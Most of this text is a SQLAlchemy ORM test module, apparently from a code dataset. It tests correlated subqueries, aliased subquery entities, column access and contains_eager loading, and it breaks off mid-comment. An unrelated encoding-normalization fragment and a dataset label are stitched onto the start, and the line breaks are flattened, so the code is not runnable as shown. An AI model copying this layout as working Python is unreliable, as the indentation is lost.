, cp437de , cp865 'us-ascii' : 'ascii', 'windows-1250': 'cp1250', 'windows-1252': 'cp1252', 'ibm850' : 'cp850', 'ibm852' : 'cp852', 'iso-8859-1' : 'latin1', 'iso-8859-2' : 'latin2', 'iso-8859-3' : 'latin3', 'iso-8859-4' : 'latin4', 'iso-8859-5' : 'latin5', 'iso-8859-9' : 'latin9', 'koi8-r' : 'koi8-r' } } # normalization enc = re.sub('(?i)(us[-_]?)?ascii|us|ibm367','us-ascii' , enc) enc = re.sub('(?i)(ibm|cp)?85([02])' ,'ibm85\\2' , enc) enc = re.sub('(?i)(iso[_-]?)?8859[_-]?' ,'iso-8859-' , enc
codeparrot/github-code-clean
import sqlalchemy as sa from sqlalchemy import and_ from sqlalchemy import asc from sqlalchemy import desc from sqlalchemy import exc as sa_exc from sqlalchemy import exists from sqlalchemy import ForeignKey from sqlalchemy import func from sqlalchemy import Integer from sqlalchemy import literal_column from sqlalchemy import select from sqlalchemy import String from sqlalchemy import Table from sqlalchemy import testing from sqlalchemy import Text from sqlalchemy import text from sqlalchemy import true from sqlalchemy import union from sqlalchemy import util from sqlalchemy.engine import default from sqlalchemy.orm import aliased from sqlalchemy.orm import backref from sqlalchemy.orm import clear_mappers from sqlalchemy.orm import column_property from sqlalchemy.orm import configure_mappers from sqlalchemy.orm import contains_eager from sqlalchemy.orm import declarative_base from sqlalchemy.orm import joinedload from sqlalchemy.orm import relationship from sqlalchemy.orm import Session from sqlalchemy.orm.context import ORMSelectCompileState from sqlalchemy.orm.util import join from sqlalchemy.sql import column from sqlalchemy.sql import table from sqlalchemy.sql.selectable import LABEL_STYLE_TABLENAME_PLUS_COL from sqlalchemy.testing import assert_raises from sqlalchemy.testing import assert_raises_message from sqlalchemy.testing import AssertsCompiledSQL from sqlalchemy.testing import eq_ from sqlalchemy.testing import fixtures from sqlalchemy.testing import is_ from sqlalchemy.testing.fixtures import fixture_session from sqlalchemy.testing.schema import Column from test.orm import _fixtures class QueryTest(_fixtures.FixtureTest): run_setup_mappers = "once" run_inserts = "once" run_deletes = None @classmethod def setup_mappers(cls): ( Node, composite_pk_table, users, Keyword, items, Dingaling, order_items, item_keywords, Item, User, dingalings, Address, keywords, CompositePk, nodes, Order, orders, addresses, ) = ( cls.classes.Node, cls.tables.composite_pk_table, cls.tables.users, cls.classes.Keyword, cls.tables.items, cls.classes.Dingaling, cls.tables.order_items, cls.tables.item_keywords, cls.classes.Item, cls.classes.User, cls.tables.dingalings, cls.classes.Address, cls.tables.keywords, cls.classes.CompositePk, cls.tables.nodes, cls.classes.Order, cls.tables.orders, cls.tables.addresses, ) cls.mapper_registry.map_imperatively( User, users, properties={ "addresses": relationship( Address, backref="user", order_by=addresses.c.id ), "orders": relationship( Order, backref="user", order_by=orders.c.id ), # o2m, m2o }, ) cls.mapper_registry.map_imperatively( Address, addresses, properties={ "dingaling": relationship( Dingaling, uselist=False, backref="address" ) # o2o }, ) cls.mapper_registry.map_imperatively(Dingaling, dingalings) cls.mapper_registry.map_imperatively( Order, orders, properties={ "items": relationship( Item, secondary=order_items, order_by=items.c.id ), # m2m "address": relationship(Address), # m2o }, ) cls.mapper_registry.map_imperatively( Item, items, properties={ "keywords": relationship(Keyword, secondary=item_keywords) }, ) # m2m cls.mapper_registry.map_imperatively(Keyword, keywords) cls.mapper_registry.map_imperatively( Node, nodes, properties={ "children": relationship( Node, backref=backref("parent", remote_side=[nodes.c.id]) ) }, ) cls.mapper_registry.map_imperatively(CompositePk, composite_pk_table) configure_mappers() class QueryCorrelatesLikeSelect(QueryTest, AssertsCompiledSQL): __dialect__ = "default" query_correlated = ( "SELECT users.name AS users_name, " "(SELECT count(addresses.id) AS count_1 FROM addresses " "WHERE addresses.user_id = users.id) AS anon_1 FROM users" ) query_not_correlated = ( "SELECT users.name AS users_name, " "(SELECT count(addresses.id) AS count_1 FROM addresses, users " "WHERE addresses.user_id = users.id) AS anon_1 FROM users" ) def test_scalar_subquery_select_auto_correlate(self): addresses, users = self.tables.addresses, self.tables.users query = ( select(func.count(addresses.c.id)) .where(addresses.c.user_id == users.c.id) .scalar_subquery() ) query = select(users.c.name.label("users_name"), query) self.assert_compile( query, self.query_correlated, dialect=default.DefaultDialect() ) def test_scalar_subquery_select_explicit_correlate(self): addresses, users = self.tables.addresses, self.tables.users query = ( select(func.count(addresses.c.id)) .where(addresses.c.user_id == users.c.id) .correlate(users) .scalar_subquery() ) query = select(users.c.name.label("users_name"), query) self.assert_compile( query, self.query_correlated, dialect=default.DefaultDialect() ) def test_scalar_subquery_select_correlate_off(self): addresses, users = self.tables.addresses, self.tables.users query = ( select(func.count(addresses.c.id)) .where(addresses.c.user_id == users.c.id) .correlate(None) .scalar_subquery() ) query = select(users.c.name.label("users_name"), query) self.assert_compile( query, self.query_not_correlated, dialect=default.DefaultDialect() ) def test_scalar_subquery_query_auto_correlate(self): sess = fixture_session() Address, User = self.classes.Address, self.classes.User query = ( sess.query(func.count(Address.id)) .filter(Address.user_id == User.id) .scalar_subquery() ) query = sess.query(User.name, query) self.assert_compile( query, self.query_correlated, dialect=default.DefaultDialect() ) def test_scalar_subquery_query_explicit_correlate(self): sess = fixture_session() Address, User = self.classes.Address, self.classes.User query = ( sess.query(func.count(Address.id)) .filter(Address.user_id == User.id) .correlate(self.tables.users) .scalar_subquery() ) query = sess.query(User.name, query) self.assert_compile( query, self.query_correlated, dialect=default.DefaultDialect() ) @testing.combinations(False, None) def test_scalar_subquery_query_correlate_off(self, value): sess = fixture_session() Address, User = self.classes.Address, self.classes.User query = ( sess.query(func.count(Address.id)) .filter(Address.user_id == User.id) .correlate(value) .scalar_subquery() ) query = sess.query(User.name, query) self.assert_compile( query, self.query_not_correlated, dialect=default.DefaultDialect() ) def test_correlate_to_union(self): User = self.classes.User sess = fixture_session() q = sess.query(User) q = sess.query(User).union(q) u_alias = aliased(User) raw_subq = exists().where(u_alias.id > User.id) orm_subq = sess.query(u_alias).filter(u_alias.id > User.id).exists() self.assert_compile( q.add_columns(raw_subq), "SELECT anon_1.users_id AS anon_1_users_id, " "anon_1.users_name AS anon_1_users_name, " "EXISTS (SELECT * FROM users AS users_1 " "WHERE users_1.id > anon_1.users_id) AS anon_2 " "FROM (" "SELECT users.id AS users_id, users.name AS users_name FROM users " "UNION SELECT users.id AS users_id, users.name AS users_name " "FROM users) AS anon_1", ) # only difference is "1" vs. "*" (not sure why that is) self.assert_compile( q.add_columns(orm_subq), "SELECT anon_1.users_id AS anon_1_users_id, " "anon_1.users_name AS anon_1_users_name, " "EXISTS (SELECT 1 FROM users AS users_1 " "WHERE users_1.id > anon_1.users_id) AS anon_2 " "FROM (" "SELECT users.id AS users_id, users.name AS users_name FROM users " "UNION SELECT users.id AS users_id, users.name AS users_name " "FROM users) AS anon_1", ) def test_correlate_to_union_w_labels_newstyle(self): User = self.classes.User q = select(User).set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) q = ( select(User) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .union(q) .subquery() ) u_alias = aliased(User) raw_subq = exists().where(u_alias.id > q.c[0]) self.assert_compile( select(q, raw_subq).set_label_style( LABEL_STYLE_TABLENAME_PLUS_COL ), "SELECT anon_1.users_id AS anon_1_users_id, " "anon_1.users_name AS anon_1_users_name, " "EXISTS (SELECT * FROM users AS users_1 " "WHERE users_1.id > anon_1.users_id) AS anon_2 " "FROM (" "SELECT users.id AS users_id, users.name AS users_name FROM users " "UNION SELECT users.id AS users_id, users.name AS users_name " "FROM users) AS anon_1", ) def test_correlate_to_union_newstyle(self): User = self.classes.User q = select(User) q = select(User).union(q).subquery() u_alias = aliased(User) raw_subq = exists().where(u_alias.id > q.c[0]) self.assert_compile( select(q, raw_subq), "SELECT anon_1.id, anon_1.name, EXISTS " "(SELECT * FROM users AS users_1 WHERE users_1.id > anon_1.id) " "AS anon_2 FROM (SELECT users.id AS id, users.name AS name " "FROM users " "UNION SELECT users.id AS id, users.name AS name FROM users) " "AS anon_1", ) class RawSelectTest(QueryTest, AssertsCompiledSQL): """compare a bunch of select() tests with the equivalent Query using straight table/columns. Results should be the same as Query should act as a select() pass- thru for ClauseElement entities. """ __dialect__ = "default" def test_select(self): addresses, users = self.tables.addresses, self.tables.users sess = fixture_session() self.assert_compile( sess.query(users) .select_entity_from(users.select().subquery()) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .statement, "SELECT users.id AS users_id, users.name AS users_name " "FROM users, " "(SELECT users.id AS id, users.name AS name FROM users) AS anon_1", ) self.assert_compile( sess.query(users, exists(text("1")).select_from(addresses)) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .statement, "SELECT users.id AS users_id, users.name AS users_name, EXISTS " "(SELECT 1 FROM addresses) AS anon_1 FROM users", ) # a little tedious here, adding labels to work around Query's # auto-labelling. s = ( sess.query( addresses.c.id.label("id"), addresses.c.email_address.label("email"), ) .filter(addresses.c.user_id == users.c.id) .correlate(users) .statement.alias() ) self.assert_compile( sess.query(users, s.c.email) .select_entity_from(users.join(s, s.c.id == users.c.id)) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .statement, "SELECT users.id AS users_id, users.name AS users_name, " "anon_1.email AS anon_1_email " "FROM users JOIN (SELECT addresses.id AS id, " "addresses.email_address AS email FROM addresses, users " "WHERE addresses.user_id = users.id) AS anon_1 " "ON anon_1.id = users.id", ) x = func.lala(users.c.id).label("foo") self.assert_compile( sess.query(x).filter(x == 5).statement, "SELECT lala(users.id) AS foo FROM users WHERE " "lala(users.id) = :param_1", ) self.assert_compile( sess.query(func.sum(x).label("bar")).statement, "SELECT sum(lala(users.id)) AS bar FROM users", ) class EntityFromSubqueryTest(QueryTest, AssertsCompiledSQL): # formerly FromSelfTest __dialect__ = "default" def test_filter(self): User = self.classes.User subq = select(User).filter(User.id.in_([8, 9])).subquery() q = fixture_session().query(aliased(User, subq)) eq_( [User(id=8), User(id=9)], q.all(), ) subq = select(User).order_by(User.id).slice(1, 3).subquery() q = fixture_session().query(aliased(User, subq)) eq_([User(id=8), User(id=9)], q.all()) subq = select(User).filter(User.id.in_([8, 9])).subquery() u = aliased(User, subq) q = fixture_session().query(u).order_by(u.id) eq_( [User(id=8)], list(q[0:1]), ) def test_join(self): User, Address = self.classes.User, self.classes.Address stmt = select(User).filter(User.id.in_([8, 9])).subquery() u = aliased(User, stmt) q = ( fixture_session() .query(u) .join(u.addresses) .add_entity(Address) .order_by(u.id, Address.id) ) eq_( [ (User(id=8), Address(id=2)), (User(id=8), Address(id=3)), (User(id=8), Address(id=4)), (User(id=9), Address(id=5)), ], q.all(), ) def test_group_by(self): Address = self.classes.Address subq = ( select(Address.user_id, func.count(Address.id).label("count")) .group_by(Address.user_id) .order_by(Address.user_id) .subquery() ) # there's no reason to do aliased(Address) in this case but we're just # testing aq = aliased(Address, subq) q = fixture_session().query(aq.user_id, subq.c.count) eq_( q.all(), [(7, 1), (8, 3), (9, 1)], ) subq = select(Address.user_id, Address.id) aq = aliased(Address, subq) q = ( fixture_session() .query(aq.user_id, func.count(aq.id)) .group_by(aq.user_id) .order_by(aq.user_id) ) eq_( q.all(), [(7, 1), (8, 3), (9, 1)], ) def test_error_w_aliased_against_select(self): User = self.classes.User s = fixture_session() stmt = select(User.id) assert_raises_message( sa_exc.ArgumentError, "Column expression or FROM clause expected, got " "<sqlalchemy.sql.selectable.Select .*> object resolved from " "<AliasedClass .* User> object. To create a FROM clause from " "a <class 'sqlalchemy.sql.selectable.Select'> object", s.query, aliased(User, stmt), ) def test_having(self): User = self.classes.User s = fixture_session() stmt = ( select(User.id) .group_by(User.id) .having(User.id > 5) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .subquery() ) q = s.query(aliased(User, stmt)) self.assert_compile( q, "SELECT anon_1.users_id AS anon_1_users_id FROM " "(SELECT users.id AS users_id FROM users GROUP " "BY users.id HAVING users.id > :id_1) AS anon_1", ) def test_no_joinedload(self): User = self.classes.User s = fixture_session() subq = ( select(User) .options(joinedload(User.addresses)) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .subquery() ) uq = aliased(User, subq) q = s.query(uq) # in 2.0 style, joinedload in the subquery is just ignored self.assert_compile( q.statement, "SELECT anon_1.users_id, anon_1.users_name FROM (SELECT " "users.id AS users_id, users.name AS users_name FROM users) " "AS anon_1", ) # needs to be on the outside self.assert_compile( q.options(joinedload(uq.addresses)).statement, "SELECT anon_1.users_id, anon_1.users_name, addresses_1.id, " "addresses_1.user_id, addresses_1.email_address FROM " "(SELECT users.id AS users_id, users.name AS " "users_name FROM users) AS anon_1 LEFT OUTER JOIN " "addresses AS addresses_1 ON anon_1.users_id = " "addresses_1.user_id ORDER BY addresses_1.id", ) def test_aliases(self): """test that aliased objects are accessible externally to a from_self() call.""" User, Address = self.classes.User, self.classes.Address s = fixture_session() ualias = aliased(User) subq = select(User, ualias).filter(User.id > ualias.id).subquery() uq1 = aliased(User, subq) uq2 = aliased(ualias, subq) q = s.query(uq1.name, uq2.name).order_by(uq1.name, uq2.name) eq_( q.all(), [ ("chuck", "ed"), ("chuck", "fred"), ("chuck", "jack"), ("ed", "jack"), ("fred", "ed"), ("fred", "jack"), ], ) q = ( s.query(uq1.name, uq2.name) .filter(uq2.name == "ed") .order_by(uq1.name, uq2.name) ) eq_( q.all(), [("chuck", "ed"), ("fred", "ed")], ) q = ( s.query(uq2.name, Address.email_address) .join(uq2.addresses) .order_by(uq2.name, Address.email_address) ) eq_( q.all(), [ ("ed", "fred@fred.com"), ("jack", "ed@bettyboop.com"), ("jack", "ed@lala.com"), ("jack", "ed@wood.com"), ("jack", "fred@fred.com"), ], ) def test_multiple_entities(self): User, Address = self.classes.User, self.classes.Address sess = fixture_session() subq = ( select(User, Address) .filter(User.id == Address.user_id) .filter(Address.id.in_([2, 5])) .subquery() ) uq = aliased(User, subq) aq = aliased(Address, subq) eq_( sess.query(uq, aq).all(), [(User(id=8), Address(id=2)), (User(id=9), Address(id=5))], ) eq_( sess.query(uq, aq).options(joinedload(uq.addresses)).first(), ( User(id=8, addresses=[Address(), Address(), Address()]), Address(id=2), ), ) def test_multiple_with_column_entities_oldstyle(self): # this is now very awkward and not very useful User = self.classes.User subq = select(User.id).subquery() uq = aliased(User, subq) subq2 = ( select(uq.id) .add_columns(func.count().label("foo")) .group_by(uq.id) .order_by(uq.id) .subquery() ) uq2 = aliased(User, subq2) sess = fixture_session() eq_( sess.query(uq2.id, subq2.c.foo).all(), [(7, 1), (8, 1), (9, 1), (10, 1)], ) def test_multiple_with_column_entities_newstyle(self): User = self.classes.User sess = fixture_session() q1 = sess.query(User.id) subq1 = aliased(User, q1.subquery()) q2 = sess.query(subq1.id).add_columns(func.count().label("foo")) q2 = q2.group_by(subq1.id).order_by(subq1.id).subquery() q3 = sess.query(q2) eq_( q3.all(), [(7, 1), (8, 1), (9, 1), (10, 1)], ) q3 = select(q2) eq_(sess.execute(q3).fetchall(), [(7, 1), (8, 1), (9, 1), (10, 1)]) class ColumnAccessTest(QueryTest, AssertsCompiledSQL): """test access of columns after _from_selectable has been applied""" __dialect__ = "default" def test_select_entity_from(self): User = self.classes.User sess = fixture_session() q = sess.query(User) q = sess.query(User).select_entity_from(q.statement.subquery()) self.assert_compile( q.filter(User.name == "ed"), "SELECT anon_1.id AS anon_1_id, anon_1.name AS anon_1_name " "FROM (SELECT users.id AS id, users.name AS name FROM " "users) AS anon_1 WHERE anon_1.name = :name_1", ) def test_select_entity_from_no_entities(self): User = self.classes.User sess = fixture_session() assert_raises_message( sa.exc.ArgumentError, r"A selectable \(FromClause\) instance is " "expected when the base alias is being set", sess.query(User).select_entity_from(User)._compile_context, ) def test_select_from_no_aliasing(self): User = self.classes.User sess = fixture_session() q = sess.query(User) q = sess.query(User).select_from(q.statement.subquery()) self.assert_compile( q.filter(User.name == "ed"), "SELECT users.id AS users_id, users.name AS users_name " "FROM users, (SELECT users.id AS id, users.name AS name FROM " "users) AS anon_1 WHERE users.name = :name_1", ) def test_anonymous_expression_oldstyle(self): # relies upon _orm_only_from_obj_alias setting from sqlalchemy.sql import column sess = fixture_session() c1, c2 = column("c1"), column("c2") q1 = sess.query(c1, c2).filter(c1 == "dog") q2 = sess.query(c1, c2).filter(c1 == "cat") q3 = q1.union(q2) self.assert_compile( q3.order_by(c1), "SELECT anon_1.c1 AS anon_1_c1, anon_1.c2 " "AS anon_1_c2 FROM (SELECT c1, c2 WHERE " "c1 = :c1_1 UNION SELECT c1, c2 " "WHERE c1 = :c1_2) AS anon_1 ORDER BY anon_1.c1", ) def test_anonymous_expression_newstyle(self): from sqlalchemy.sql import column c1, c2 = column("c1"), column("c2") q1 = select(c1, c2).where(c1 == "dog") q2 = select(c1, c2).where(c1 == "cat") subq = q1.union(q2).subquery() q3 = select(subq).set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) self.assert_compile( q3.order_by(subq.c.c1), "SELECT anon_1.c1 AS anon_1_c1, anon_1.c2 " "AS anon_1_c2 FROM (SELECT c1, c2 WHERE " "c1 = :c1_1 UNION SELECT c1, c2 " "WHERE c1 = :c1_2) AS anon_1 ORDER BY anon_1.c1", ) def test_table_anonymous_expression_from_self_twice_newstyle(self): from sqlalchemy.sql import column t1 = table("t1", column("c1"), column("c2")) stmt = ( select(t1.c.c1, t1.c.c2) .where(t1.c.c1 == "dog") .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) ) subq1 = ( stmt.subquery("anon_2") .select() .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) ) subq2 = subq1.subquery("anon_1") q1 = select(subq2).set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) self.assert_compile( # as in test_anonymous_expression_from_self_twice_newstyle_wlabels, # set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) means the # subquery cols have long names. however, # here we illustrate if they did use # set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL), but they also # named the subqueries explicitly as one would certainly do if they # were using set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL), # we can get at that column based on how # it is aliased, no different than plain SQL. q1.order_by(subq2.c.anon_2_t1_c1), "SELECT anon_1.anon_2_t1_c1 " "AS anon_1_anon_2_t1_c1, anon_1.anon_2_t1_c2 " "AS anon_1_anon_2_t1_c2 " "FROM (SELECT anon_2.t1_c1 AS anon_2_t1_c1, " "anon_2.t1_c2 AS anon_2_t1_c2 FROM (SELECT t1.c1 AS t1_c1, t1.c2 " "AS t1_c2 FROM t1 WHERE t1.c1 = :c1_1) AS anon_2) AS anon_1 " "ORDER BY anon_1.anon_2_t1_c1", ) def test_anonymous_expression_from_self_twice_newstyle_wlabels(self): from sqlalchemy.sql import column c1, c2 = column("c1"), column("c2") subq = select(c1, c2).where(c1 == "dog").subquery() subq2 = ( select(subq) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .subquery() ) stmt = select(subq2).set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) self.assert_compile( # because of the apply labels we don't have simple keys on # subq2.c stmt.order_by(subq2.c.corresponding_column(c1)), "SELECT anon_1.anon_2_c1 AS anon_1_anon_2_c1, anon_1.anon_2_c2 AS " "anon_1_anon_2_c2 FROM (SELECT anon_2.c1 AS anon_2_c1, anon_2.c2 " "AS anon_2_c2 " "FROM (SELECT c1, c2 WHERE c1 = :c1_1) AS " "anon_2) AS anon_1 ORDER BY anon_1.anon_2_c1", ) def test_anonymous_expression_from_self_twice_newstyle_wolabels(self): from sqlalchemy.sql import column c1, c2 = column("c1"), column("c2") subq = select(c1, c2).where(c1 == "dog").subquery() subq2 = select(subq).subquery() stmt = select(subq2) self.assert_compile( # without labels we can access .c1 but the statement will not # have the same labeling applied (which does not matter) stmt.order_by(subq2.c.c1), "SELECT anon_1.c1, anon_1.c2 FROM " "(SELECT anon_2.c1 AS c1, anon_2.c2 AS c2 " "FROM (SELECT c1, c2 WHERE c1 = :c1_1) AS " "anon_2) AS anon_1 ORDER BY anon_1.c1", ) def test_anonymous_labeled_expression_oldstyle(self): # relies upon _orm_only_from_obj_alias setting sess = fixture_session() c1, c2 = column("c1"), column("c2") q1 = sess.query(c1.label("foo"), c2.label("bar")).filter(c1 == "dog") q2 = sess.query(c1.label("foo"), c2.label("bar")).filter(c1 == "cat") q3 = q1.union(q2) self.assert_compile( q3.order_by(c1), "SELECT anon_1.foo AS anon_1_foo, anon_1.bar AS anon_1_bar FROM " "(SELECT c1 AS foo, c2 AS bar WHERE c1 = :c1_1 UNION SELECT " "c1 AS foo, c2 AS bar " "WHERE c1 = :c1_2) AS anon_1 ORDER BY anon_1.foo", ) def test_anonymous_labeled_expression_newstyle(self): c1, c2 = column("c1"), column("c2") q1 = select(c1.label("foo"), c2.label("bar")).where(c1 == "dog") q2 = select(c1.label("foo"), c2.label("bar")).where(c1 == "cat") subq = union(q1, q2).subquery() q3 = select(subq).set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) self.assert_compile( q3.order_by(subq.c.foo), "SELECT anon_1.foo AS anon_1_foo, anon_1.bar AS anon_1_bar FROM " "(SELECT c1 AS foo, c2 AS bar WHERE c1 = :c1_1 UNION SELECT " "c1 AS foo, c2 AS bar " "WHERE c1 = :c1_2) AS anon_1 ORDER BY anon_1.foo", ) def test_anonymous_expression_plus_flag_aliased_join_newstyle(self): User = self.classes.User Address = self.classes.Address addresses = self.tables.addresses sess = fixture_session() q1 = sess.query(User.id).filter(User.id > 5) uq = aliased( User, q1.set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL).subquery() ) aa = aliased(Address) q1 = ( sess.query(uq.id) .join(uq.addresses.of_type(aa)) .order_by(uq.id, aa.id, addresses.c.id) ) self.assert_compile( q1, "SELECT anon_1.users_id AS anon_1_users_id " "FROM (SELECT users.id AS users_id FROM users " "WHERE users.id > :id_1) AS anon_1 JOIN addresses AS addresses_1 " "ON anon_1.users_id = addresses_1.user_id " "ORDER BY anon_1.users_id, addresses_1.id, addresses.id", ) def test_anonymous_expression_plus_explicit_aliased_join_newstyle(self): """test that the 'dont alias non-ORM' rule remains for other kinds of aliasing when _from_selectable() is used.""" User = self.classes.User Address = self.classes.Address addresses = self.tables.addresses sess = fixture_session() q1 = ( sess.query(User.id) .filter(User.id > 5) .set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) .subquery() ) uq = aliased(User, q1) aa = aliased(Address) q1 = ( sess.query(uq.id) .join(aa, uq.addresses) .order_by(uq.id, aa.id, addresses.c.id) ) self.assert_compile( q1, "SELECT anon_1.users_id AS anon_1_users_id " "FROM (SELECT users.id AS users_id FROM users " "WHERE users.id > :id_1) AS anon_1 JOIN addresses AS addresses_1 " "ON anon_1.users_id = addresses_1.user_id " "ORDER BY anon_1.users_id, addresses_1.id, addresses.id", ) class AddEntityEquivalenceTest(fixtures.MappedTest, AssertsCompiledSQL): run_setup_mappers = "once" @classmethod def define_tables(cls, metadata): Table( "a", metadata, Column( "id", Integer, primary_key=True, test_needs_autoincrement=True ), Column("name", String(50)), Column("type", String(20)), Column("bid", Integer, ForeignKey("b.id")), ) Table( "b", metadata, Column( "id", Integer, primary_key=True, test_needs_autoincrement=True ), Column("name", String(50)), Column("type", String(20)), ) Table( "c", metadata, Column("id", Integer, ForeignKey("b.id"), primary_key=True), Column("age", Integer), ) Table( "d", metadata, Column("id", Integer, ForeignKey("a.id"), primary_key=True), Column("dede", Integer), ) @classmethod def setup_classes(cls): class A(cls.Comparable): pass class B(cls.Comparable): pass class C(B): pass class D(A): pass @classmethod def setup_mappers(cls): a, c, b, d = (cls.tables.a, cls.tables.c, cls.tables.b, cls.tables.d) A, B, C, D = cls.classes("A", "B", "C", "D") cls.mapper_registry.map_imperatively( A, a, polymorphic_identity="a", polymorphic_on=a.c.type, with_polymorphic=("*", None), properties={ "link": relationship(B, uselist=False, backref="back") }, ) cls.mapper_registry.map_imperatively( B, b, polymorphic_identity="b", polymorphic_on=b.c.type, with_polymorphic=("*", None), ) cls.mapper_registry.map_imperatively( C, c, inherits=B, polymorphic_identity="c" ) cls.mapper_registry.map_imperatively( D, d, inherits=A, polymorphic_identity="d" ) @classmethod def insert_data(cls, connection): A, C, B = (cls.classes.A, cls.classes.C, cls.classes.B) sess = Session(connection) sess.add_all( [ B(name="b1"), A(name="a1", link=C(name="c1", age=3)), C(name="c2", age=6), A(name="a2"), ] ) sess.flush() def test_add_entity_equivalence(self): A, C, B = (self.classes.A, self.classes.C, self.classes.B) sess = fixture_session() for q in [ sess.query(A, B).join(A.link), sess.query(A).join(A.link).add_entity(B), ]: eq_( q.all(), [ ( A(bid=2, id=1, name="a1", type="a"), C(age=3, id=2, name="c1", type="c"), ) ], ) for q in [ sess.query(B, A).join(B.back), sess.query(B).join(B.back).add_entity(A), sess.query(B).add_entity(A).join(B.back), ]: eq_( q.all(), [ ( C(age=3, id=2, name="c1", type="c"), A(bid=2, id=1, name="a1", type="a"), ) ], ) class InstancesTest(QueryTest, AssertsCompiledSQL): def test_from_alias_two_needs_nothing(self): User, addresses, users = ( self.classes.User, self.tables.addresses, self.tables.users, ) query = ( users.select() .where(users.c.id == 7) .union(users.select().where(users.c.id > 7)) .alias("ulist") .outerjoin(addresses) .select() .order_by(text("ulist.id"), addresses.c.id) ) sess = fixture_session() q = sess.query(User) def go(): result = ( q.options(contains_eager("addresses")) .from_statement(query) .all() ) assert self.static.user_address_result == result self.assert_sql_count(testing.db, go, 1) def test_from_alias_two(self): User, addresses, users = ( self.classes.User, self.tables.addresses, self.tables.users, ) query = ( users.select() .where(users.c.id == 7) .union(users.select().where(users.c.id > 7)) .alias("ulist") .outerjoin(addresses) .select() .order_by(text("ulist.id"), addresses.c.id) ) sess = fixture_session() q = sess.query(User) def go(): ulist = query.alias("ulist") ulist_alias = aliased(User, alias=ulist) result = ( q.options(contains_eager("addresses", alias=ulist)) .select_entity_from(ulist_alias) .all() ) assert self.static.user_address_result == result self.assert_sql_count(testing.db, go, 1) def test_from_alias_three(self): User, addresses, users = ( self.classes.User, self.tables.addresses, self.tables.users, ) query = ( users.select() .where(users.c.id == 7) .union(users.select().where(users.c.id > 7)) .alias("ulist") .outerjoin(addresses) .select() .order_by(text("ulist.id"), addresses.c.id) ) sess = fixture_session() # better way. use select_entity_from() def go(): result = ( sess.query(User) .select_entity_from(query.subquery()) .options(contains_eager("addresses")) .all() ) assert self.static.user_address_result == result self.assert_sql_count(testing.db, go, 1) def test_from_alias_four(self): User, addresses, users = ( self.classes.User, self.tables.addresses, self.tables.users, ) sess = fixture_session() # same thing, but alias addresses, so that the adapter # generated by select_entity_from() is wrapped within # the adapter created by contains_eager() adalias = addresses.alias() query = ( users.select() .where(users.c.id == 7) .union(users.select().where(users.c.id > 7)) .alias("ulist") .outerjoin(adalias) .select() .order_by(text("ulist.id"), adalias.c.id) ) def go(): result = ( sess.query(User) .select_entity_from(query.subquery()) .options(contains_eager("addresses", alias=adalias)) .all() ) assert self.static.user_address_result == result self.assert_sql_count(testing.db, go, 1) def test_contains_eager_one(self): addresses, User = (self.tables.addresses, self.classes.User) sess = fixture_session() # test that contains_eager suppresses the normal outer join rendering q = ( sess.query(User) .outerjoin(User.addresses) .options(contains_eager(User.addresses)) .order_by(User.id, addresses.c.id) ) self.assert_compile( q.set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL).statement, "SELECT addresses.id AS addresses_id, " "addresses.user_id AS addresses_user_id, " "addresses.email_address AS " "addresses_email_address, users.id AS " "users_id, users.name AS users_name FROM " "users LEFT OUTER JOIN addresses ON " "users.id = addresses.user_id ORDER BY " "users.id, addresses.id", dialect=default.DefaultDialect(), ) def go(): assert self.static.user_address_result == q.all() self.assert_sql_count(testing.db, go, 1) def test_contains_eager_two(self): users, addresses, User = ( self.tables.users, self.tables.addresses, self.classes.User, ) sess = fixture_session() adalias = addresses.alias() q = ( sess.query(User) .select_entity_from(users.outerjoin(adalias)) .options(contains_eager(User.addresses, alias=adalias)) .order_by(User.id, adalias.c.id) ) def go(): eq_(self.static.user_address_result, q.all()) self.assert_sql_count(testing.db, go, 1) def test_contains_eager_four(self): users, addresses, User = ( self.tables.users, self.tables.addresses, self.classes.User, ) sess = fixture_session() selectquery = ( users.outerjoin(addresses) .select() .where(users.c.id < 10) .order_by(users.c.id, addresses.c.id) ) q = sess.query(User) def go(): result = ( q.options(contains_eager("addresses")) .from_statement(selectquery) .all() ) assert self.static.user_address_result[0:3] == result self.assert_sql_count(testing.db, go, 1) def test_contains_eager_four_future(self): users, addresses, User = ( self.tables.users, self.tables.addresses, self.classes.User, ) sess = fixture_session(future=True) selectquery = ( users.outerjoin(addresses) .select() .where(users.c.id < 10) .order_by(users.c.id, addresses.c.id) ) q = select(User) def go(): result = ( sess.execute( q.options(contains_eager("addresses")).from_statement( selectquery ) ) .scalars() .unique() .all() ) assert self.static.user_address_result[0:3] == result self.assert_sql_count(testing.db, go, 1) def test_contains_eager_aliased(self): User, Address = self.classes.User, self.classes.Address sess = fixture_session() q = sess.query(User) # Aliased object adalias = aliased(Address) def go(): result = ( q.options(contains_eager("addresses", alias=adalias)) .outerjoin(adalias, User.addresses) .order_by(User.id, adalias.id) ) assert self.static.user_address_result == result.all() self.assert_sql_count(testing.db, go, 1) def test_contains_eager_multi_alias(self): orders, items, users, order_items, User = ( self.tables.orders, self.tables.items, self.tables.users, self.tables.order_items, self.classes.User, ) sess = fixture_session() q = sess.query(User) oalias = orders.alias("o1") ialias = items.alias("i1") query = ( users.outerjoin(oalias) .outerjoin(order_items) .outerjoin(ialias) .select() .order_by(users.c.id, oalias.c.id, ialias.c.id) ) # test using Alias with more than one level deep # new way: # from sqlalchemy.orm.strategy_options import Load # opt = Load(User).contains_eager('orders', alias=oalias). # contains_eager('items', 